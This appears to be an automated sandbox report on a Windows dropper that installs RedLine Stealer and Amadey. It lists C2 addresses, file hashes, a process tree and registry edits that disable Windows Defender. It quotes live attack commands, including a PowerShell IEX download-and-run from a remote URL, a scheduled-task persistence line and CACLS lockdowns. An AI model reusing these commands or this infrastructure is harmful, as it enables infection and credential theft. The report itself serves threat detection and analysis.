Analysis
-
max time kernel
103s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20230221-en -
resource tags
arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system -
submitted
20-03-2023 19:49
Static task
static1
General
-
Target
a190a1ff38be93831a7297cb6ff8f558a4bc177b64e422e6f48ba6b06239368e.exe
-
Size
961KB
-
MD5
9b3bb6ec724068e6976c4f033b5203db
-
SHA1
0f5fd25b1aab1681d2816ee261810142442430d1
-
SHA256
a190a1ff38be93831a7297cb6ff8f558a4bc177b64e422e6f48ba6b06239368e
-
SHA512
5a53644d4b1e67515fa6b9abc0fd0a76ce6766fe226bf31325a77fffb2e98e6684b6f47acfffe3765d7022ff8639a3f6ac9a8dbfda3a043d1504d37285d0579b
-
SSDEEP
24576:uy3AA/oNqNIweqsWrXbipEEkKds5XNOz5xehuHtEUEP:9t/UwtsWrX+bRkdyx9r
Malware Config
Extracted
https://www.mdegmm.com/pdf/debug2.ps1
Extracted
redline
gena
193.233.20.30:4125
-
auth_value
93c20961cb6b06b2d5781c212db6201e
Extracted
redline
vint
193.233.20.30:4125
-
auth_value
fb8811912f8370b3d23bffda092d88d0
Extracted
amadey
3.68
62.204.41.87/joomla/index.php
Signatures
-
Processes:
v1608gS.exetz6853.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" v1608gS.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection tz6853.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" tz6853.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" tz6853.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" tz6853.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" v1608gS.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" v1608gS.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" tz6853.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" tz6853.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection v1608gS.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" v1608gS.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" v1608gS.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 19 IoCs
Processes:
resource yara_rule behavioral1/memory/552-210-0x0000000004A00000-0x0000000004A3E000-memory.dmp family_redline behavioral1/memory/552-211-0x0000000004A00000-0x0000000004A3E000-memory.dmp family_redline behavioral1/memory/552-215-0x0000000004A90000-0x0000000004AA0000-memory.dmp family_redline behavioral1/memory/552-214-0x0000000004A00000-0x0000000004A3E000-memory.dmp family_redline behavioral1/memory/552-219-0x0000000004A00000-0x0000000004A3E000-memory.dmp family_redline behavioral1/memory/552-221-0x0000000004A00000-0x0000000004A3E000-memory.dmp family_redline behavioral1/memory/552-223-0x0000000004A00000-0x0000000004A3E000-memory.dmp family_redline behavioral1/memory/552-225-0x0000000004A00000-0x0000000004A3E000-memory.dmp family_redline behavioral1/memory/552-227-0x0000000004A00000-0x0000000004A3E000-memory.dmp family_redline behavioral1/memory/552-229-0x0000000004A00000-0x0000000004A3E000-memory.dmp family_redline behavioral1/memory/552-231-0x0000000004A00000-0x0000000004A3E000-memory.dmp family_redline behavioral1/memory/552-233-0x0000000004A00000-0x0000000004A3E000-memory.dmp family_redline behavioral1/memory/552-235-0x0000000004A00000-0x0000000004A3E000-memory.dmp family_redline behavioral1/memory/552-237-0x0000000004A00000-0x0000000004A3E000-memory.dmp family_redline behavioral1/memory/552-239-0x0000000004A00000-0x0000000004A3E000-memory.dmp family_redline behavioral1/memory/552-241-0x0000000004A00000-0x0000000004A3E000-memory.dmp family_redline behavioral1/memory/552-243-0x0000000004A00000-0x0000000004A3E000-memory.dmp family_redline behavioral1/memory/552-245-0x0000000004A00000-0x0000000004A3E000-memory.dmp family_redline behavioral1/memory/552-247-0x0000000004A00000-0x0000000004A3E000-memory.dmp family_redline -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 68 2924 powershell.exe 70 2924 powershell.exe -
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
y47Lo25.exelegenda.exesqlcmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation y47Lo25.exe Key value queried \REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation legenda.exe Key value queried \REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation sqlcmd.exe -
Executes dropped EXE 11 IoCs
Processes:
zap3010.exezap1919.exezap8780.exetz6853.exev1608gS.exew85Pw50.exexjHNB64.exey47Lo25.exelegenda.exesqlcmd.exelegenda.exepid process 2076 zap3010.exe 4296 zap1919.exe 1660 zap8780.exe 2408 tz6853.exe 1108 v1608gS.exe 552 w85Pw50.exe 3100 xjHNB64.exe 4896 y47Lo25.exe 1304 legenda.exe 3808 sqlcmd.exe 228 legenda.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 4208 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
tz6853.exev1608gS.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0" tz6853.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features v1608gS.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" v1608gS.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 8 IoCs
Processes:
zap8780.exea190a1ff38be93831a7297cb6ff8f558a4bc177b64e422e6f48ba6b06239368e.exezap3010.exezap1919.exedescription ioc process Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce zap8780.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" zap8780.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce a190a1ff38be93831a7297cb6ff8f558a4bc177b64e422e6f48ba6b06239368e.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" a190a1ff38be93831a7297cb6ff8f558a4bc177b64e422e6f48ba6b06239368e.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce zap3010.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" zap3010.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce zap1919.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" zap1919.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 2 IoCs
Processes:
WerFault.exeWerFault.exepid pid_target process target process 3844 1108 WerFault.exe v1608gS.exe 2100 552 WerFault.exe w85Pw50.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 10 IoCs
Processes:
tz6853.exev1608gS.exew85Pw50.exexjHNB64.exepowershell.exepid process 2408 tz6853.exe 2408 tz6853.exe 1108 v1608gS.exe 1108 v1608gS.exe 552 w85Pw50.exe 552 w85Pw50.exe 3100 xjHNB64.exe 3100 xjHNB64.exe 2924 powershell.exe 2924 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
tz6853.exev1608gS.exew85Pw50.exexjHNB64.exepowershell.exedescription pid process Token: SeDebugPrivilege 2408 tz6853.exe Token: SeDebugPrivilege 1108 v1608gS.exe Token: SeDebugPrivilege 552 w85Pw50.exe Token: SeDebugPrivilege 3100 xjHNB64.exe Token: SeDebugPrivilege 2924 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
a190a1ff38be93831a7297cb6ff8f558a4bc177b64e422e6f48ba6b06239368e.exezap3010.exezap1919.exezap8780.exey47Lo25.exelegenda.execmd.exesqlcmd.execmd.execmd.exedescription pid process target process PID 4856 wrote to memory of 2076 4856 a190a1ff38be93831a7297cb6ff8f558a4bc177b64e422e6f48ba6b06239368e.exe zap3010.exe PID 4856 wrote to memory of 2076 4856 a190a1ff38be93831a7297cb6ff8f558a4bc177b64e422e6f48ba6b06239368e.exe zap3010.exe PID 4856 wrote to memory of 2076 4856 a190a1ff38be93831a7297cb6ff8f558a4bc177b64e422e6f48ba6b06239368e.exe zap3010.exe PID 2076 wrote to memory of 4296 2076 zap3010.exe zap1919.exe PID 2076 wrote to memory of 4296 2076 zap3010.exe zap1919.exe PID 2076 wrote to memory of 4296 2076 zap3010.exe zap1919.exe PID 4296 wrote to memory of 1660 4296 zap1919.exe zap8780.exe PID 4296 wrote to memory of 1660 4296 zap1919.exe zap8780.exe PID 4296 wrote to memory of 1660 4296 zap1919.exe zap8780.exe PID 1660 wrote to memory of 2408 1660 zap8780.exe tz6853.exe PID 1660 wrote to memory of 2408 1660 zap8780.exe tz6853.exe PID 1660 wrote to memory of 1108 1660 zap8780.exe v1608gS.exe PID 1660 wrote to memory of 1108 1660 zap8780.exe v1608gS.exe PID 1660 wrote to memory of 1108 1660 zap8780.exe v1608gS.exe PID 4296 wrote to memory of 552 4296 zap1919.exe w85Pw50.exe PID 4296 wrote to memory of 552 4296 zap1919.exe w85Pw50.exe PID 4296 wrote to memory of 552 4296 zap1919.exe w85Pw50.exe PID 2076 wrote to memory of 3100 2076 zap3010.exe xjHNB64.exe PID 2076 wrote to memory of 3100 2076 zap3010.exe xjHNB64.exe PID 2076 wrote to memory of 3100 2076 zap3010.exe xjHNB64.exe PID 4856 wrote to memory of 4896 4856 a190a1ff38be93831a7297cb6ff8f558a4bc177b64e422e6f48ba6b06239368e.exe y47Lo25.exe PID 4856 wrote to memory of 4896 4856 a190a1ff38be93831a7297cb6ff8f558a4bc177b64e422e6f48ba6b06239368e.exe y47Lo25.exe PID 4856 wrote to memory of 4896 4856 a190a1ff38be93831a7297cb6ff8f558a4bc177b64e422e6f48ba6b06239368e.exe y47Lo25.exe PID 4896 wrote to memory of 1304 4896 y47Lo25.exe legenda.exe PID 4896 wrote to memory of 1304 4896 y47Lo25.exe legenda.exe PID 4896 wrote to memory of 1304 4896 y47Lo25.exe legenda.exe PID 1304 wrote to memory of 3880 1304 legenda.exe schtasks.exe PID 1304 wrote to memory of 3880 1304 legenda.exe schtasks.exe PID 1304 wrote to memory of 3880 1304 legenda.exe schtasks.exe PID 1304 wrote to memory of 1020 1304 legenda.exe cmd.exe PID 1304 wrote to memory of 1020 1304 legenda.exe cmd.exe PID 1304 wrote to memory of 1020 1304 legenda.exe cmd.exe PID 1020 wrote to memory of 4224 1020 cmd.exe cmd.exe PID 1020 wrote to memory of 4224 1020 cmd.exe cmd.exe PID 1020 wrote to memory of 4224 1020 cmd.exe cmd.exe PID 1020 wrote to memory of 2008 1020 cmd.exe cacls.exe PID 1020 wrote to memory of 2008 1020 cmd.exe cacls.exe PID 1020 wrote to memory of 2008 1020 cmd.exe cacls.exe PID 1020 wrote to memory of 3616 1020 cmd.exe cacls.exe PID 1020 wrote to memory of 3616 1020 cmd.exe cacls.exe PID 1020 wrote to memory of 3616 1020 cmd.exe cacls.exe PID 1020 wrote to memory of 4440 1020 cmd.exe cmd.exe PID 1020 wrote to memory of 4440 1020 cmd.exe cmd.exe PID 1020 wrote to memory of 4440 1020 cmd.exe cmd.exe PID 1020 wrote to memory of 3468 1020 cmd.exe cacls.exe PID 1020 wrote to memory of 3468 1020 cmd.exe cacls.exe PID 1020 wrote to memory of 3468 1020 cmd.exe cacls.exe PID 1020 wrote to memory of 1428 1020 cmd.exe cacls.exe PID 1020 wrote to memory of 1428 1020 cmd.exe cacls.exe PID 1020 wrote to memory of 1428 1020 cmd.exe cacls.exe PID 1304 wrote to memory of 3808 1304 legenda.exe sqlcmd.exe PID 1304 wrote to memory of 3808 1304 legenda.exe sqlcmd.exe PID 1304 wrote to memory of 3808 1304 legenda.exe sqlcmd.exe PID 3808 wrote to memory of 4124 3808 sqlcmd.exe cmd.exe PID 3808 wrote to memory of 4124 3808 sqlcmd.exe cmd.exe PID 4124 wrote to memory of 2924 4124 cmd.exe powershell.exe PID 4124 wrote to memory of 2924 4124 cmd.exe powershell.exe PID 3808 wrote to memory of 4940 3808 sqlcmd.exe cmd.exe PID 3808 wrote to memory of 4940 3808 sqlcmd.exe cmd.exe PID 3808 wrote to memory of 4940 3808 sqlcmd.exe cmd.exe PID 4940 wrote to memory of 2448 4940 cmd.exe PING.EXE PID 4940 wrote to memory of 2448 4940 cmd.exe PING.EXE PID 4940 wrote to memory of 2448 4940 cmd.exe PING.EXE PID 1304 wrote to memory of 4208 1304 legenda.exe rundll32.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\a190a1ff38be93831a7297cb6ff8f558a4bc177b64e422e6f48ba6b06239368e.exe"C:\Users\Admin\AppData\Local\Temp\a190a1ff38be93831a7297cb6ff8f558a4bc177b64e422e6f48ba6b06239368e.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap3010.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap3010.exe2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap1919.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap1919.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap8780.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap8780.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz6853.exeC:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz6853.exe5⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v1608gS.exeC:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v1608gS.exe5⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1108 -s 10806⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w85Pw50.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w85Pw50.exe4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 552 -s 17325⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xjHNB64.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xjHNB64.exe3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y47Lo25.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y47Lo25.exe2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe"C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN legenda.exe /TR "C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe" /F4⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "legenda.exe" /P "Admin:N"&&CACLS "legenda.exe" /P "Admin:R" /E&&echo Y|CACLS "..\f22b669919" /P "Admin:N"&&CACLS "..\f22b669919" /P "Admin:R" /E&&Exit4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "legenda.exe" /P "Admin:N"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "legenda.exe" /P "Admin:R" /E5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\f22b669919" /P "Admin:N"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\f22b669919" /P "Admin:R" /E5⤵
-
C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exe"C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')6⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exe" >> NUL5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main4⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1108 -ip 11081⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 552 -ip 5521⤵
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exeC:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5080DC7A65DB6A5960ECD874088F3328_862BA1770B2FEE013603D2FF9ABEAFDAFilesize
2KB
MD5fc88b7748eb4cd37ae886a1c0813e4cf
SHA123e30b76fc94f0467a3efad342a91a3b84ff1eea
SHA2563d81e317f8816680185517d7719e51fdbcd5807f9c629c4e3d0408820ec458da
SHA512bb8ffaa2e8e581aa8d9a2e39b5f16c784d1431b4c18acc71b8fea84a4982d13a8ed1e5cf295c459ca35d8d4604c050210e0771386e7fe57d35c5ccd41fb92211
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_2DBE917624E9880FE0C7C5570D56E691Filesize
1KB
MD5cb684ec7fe8555f949182c7423dafdc2
SHA1ec49f7b4b777fa1da40af5328785782127ffc52c
SHA2568e17b090e2d07abf04860e961e601d8c663d3eaafd16190e6e6b6a4f018c0b0e
SHA512ef627ca15ac143710b707ce28bd0cbe3447446db64c61f89d78f7c868cad07bd267563a7927ac4cd733adf2da3d58dcfadba54f8e0bc78e06d79cd389b77e500
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5080DC7A65DB6A5960ECD874088F3328_862BA1770B2FEE013603D2FF9ABEAFDAFilesize
482B
MD5dcf0dca1be5d7fb498a245a8699ac061
SHA18dc80947c1f7a463f131bb72148808da4c17083f
SHA25660eed1997f6c6b7e0dc1f6a345da2f41b09e7043ba5bb9a1469dda3230456eaf
SHA512f9301c605d5f0cb1eb92cdeac722d6ab89493fd3dfa635e8219154075fa58bea195e8cec49bc44693008938aa96f3de31700b17f7bac4eccddb8c0a481e5bbf1
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_2DBE917624E9880FE0C7C5570D56E691Filesize
486B
MD5d7461d8475ef4f9763ac130c463650e5
SHA18a10e4fb53812d6d94ccffa8b0e5278f58af1273
SHA256eac89cb813b4738538a204cb5da09f63167ef08556e28400cfc2473592673581
SHA512afc2dc0310fd5105bbc70a6c0f7d4dfaf8f56d18c0466e14d742106234ab0e9810a76258405c33ce6fa2350f994d234090b3f890b95407798ea40ca04698d993
-
C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exeFilesize
144KB
MD5b5baf2e6261a1fb05bb2654c8d099dd6
SHA12a5b25fcb9e9f584d0a162b734c7dcc53c6e0550
SHA2564a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d
SHA5124ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3
-
C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exeFilesize
144KB
MD5b5baf2e6261a1fb05bb2654c8d099dd6
SHA12a5b25fcb9e9f584d0a162b734c7dcc53c6e0550
SHA2564a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d
SHA5124ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3
-
C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exeFilesize
144KB
MD5b5baf2e6261a1fb05bb2654c8d099dd6
SHA12a5b25fcb9e9f584d0a162b734c7dcc53c6e0550
SHA2564a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d
SHA5124ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y47Lo25.exeFilesize
235KB
MD55086db99de54fca268169a1c6cf26122
SHA1003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA25642873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA51290531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y47Lo25.exeFilesize
235KB
MD55086db99de54fca268169a1c6cf26122
SHA1003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA25642873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA51290531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap3010.exeFilesize
777KB
MD58b07f0f1c123605399f8c15a5b83ede4
SHA1cdf6cc40b581436abe00dd4ebadc1638ffec9c76
SHA2564f20c386618f80a3cf528c116bbee83eb1674198cebeeb04d2e8bffbf8fa3c85
SHA5124effc990c46faec3a8c9ee960d0ec111b9d000aced8dec0cef90779f8087f46b091295a5267a6a7e110da8b2476ad44247a3e06c3555b4c4aeedbbad5101c2ef
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap3010.exeFilesize
777KB
MD58b07f0f1c123605399f8c15a5b83ede4
SHA1cdf6cc40b581436abe00dd4ebadc1638ffec9c76
SHA2564f20c386618f80a3cf528c116bbee83eb1674198cebeeb04d2e8bffbf8fa3c85
SHA5124effc990c46faec3a8c9ee960d0ec111b9d000aced8dec0cef90779f8087f46b091295a5267a6a7e110da8b2476ad44247a3e06c3555b4c4aeedbbad5101c2ef
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xjHNB64.exeFilesize
175KB
MD53389637c0d072121bf1b127629736d37
SHA1300e915efdf2479bfd0d3699c0a6bc51260f9655
SHA2562b74c4ce2674a8fc0c78fffa39c5de5e43ae28b8bf425349a5f97c6a61135153
SHA512a32cc060d2600f6ca94ffdce07c95ea5e2f56c0b418260456b568cb41e5f55db0c4fc97c35ca4103c674e61a17300d834d2c0da5a78b7084b6bc342fd23a7fb4
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xjHNB64.exeFilesize
175KB
MD53389637c0d072121bf1b127629736d37
SHA1300e915efdf2479bfd0d3699c0a6bc51260f9655
SHA2562b74c4ce2674a8fc0c78fffa39c5de5e43ae28b8bf425349a5f97c6a61135153
SHA512a32cc060d2600f6ca94ffdce07c95ea5e2f56c0b418260456b568cb41e5f55db0c4fc97c35ca4103c674e61a17300d834d2c0da5a78b7084b6bc342fd23a7fb4
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap1919.exeFilesize
635KB
MD511cd1115842aa95878bfc1afa86dabea
SHA1d1b1ced2e604efcd6c8e270eae68a10ed58d8049
SHA256906de465efe1bdd15df3545fdf0d913db9774c18166a76cef913cc32e486407f
SHA5120cd7c8e3ec38bab2d6c0f3d3e29432ad50957a64113138cb0f9ab7722f28adac3730acb7cf2412d569557f0c8f0a2f1f2c546d348a90ab0055fc0a7aae807599
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap1919.exeFilesize
635KB
MD511cd1115842aa95878bfc1afa86dabea
SHA1d1b1ced2e604efcd6c8e270eae68a10ed58d8049
SHA256906de465efe1bdd15df3545fdf0d913db9774c18166a76cef913cc32e486407f
SHA5120cd7c8e3ec38bab2d6c0f3d3e29432ad50957a64113138cb0f9ab7722f28adac3730acb7cf2412d569557f0c8f0a2f1f2c546d348a90ab0055fc0a7aae807599
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w85Pw50.exeFilesize
288KB
MD52ad8a4a219d335089212480dced5cf3b
SHA1e29909fe7aa4dd5384e3d6c412e8b462c3b99563
SHA2563fa70b30fb8de694207ed4d800647b640756c28f9320a091c61e4dbaf54a195b
SHA512b1355011344a03fa88de1a2a4ccbd9f3ca02faf08ad1a8c41632e6f44b5c1b678bd37d200df8ca51bf21fd0bb1d247103d2f998a522cec521cb1cdfb67af6c28
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w85Pw50.exeFilesize
288KB
MD52ad8a4a219d335089212480dced5cf3b
SHA1e29909fe7aa4dd5384e3d6c412e8b462c3b99563
SHA2563fa70b30fb8de694207ed4d800647b640756c28f9320a091c61e4dbaf54a195b
SHA512b1355011344a03fa88de1a2a4ccbd9f3ca02faf08ad1a8c41632e6f44b5c1b678bd37d200df8ca51bf21fd0bb1d247103d2f998a522cec521cb1cdfb67af6c28
-
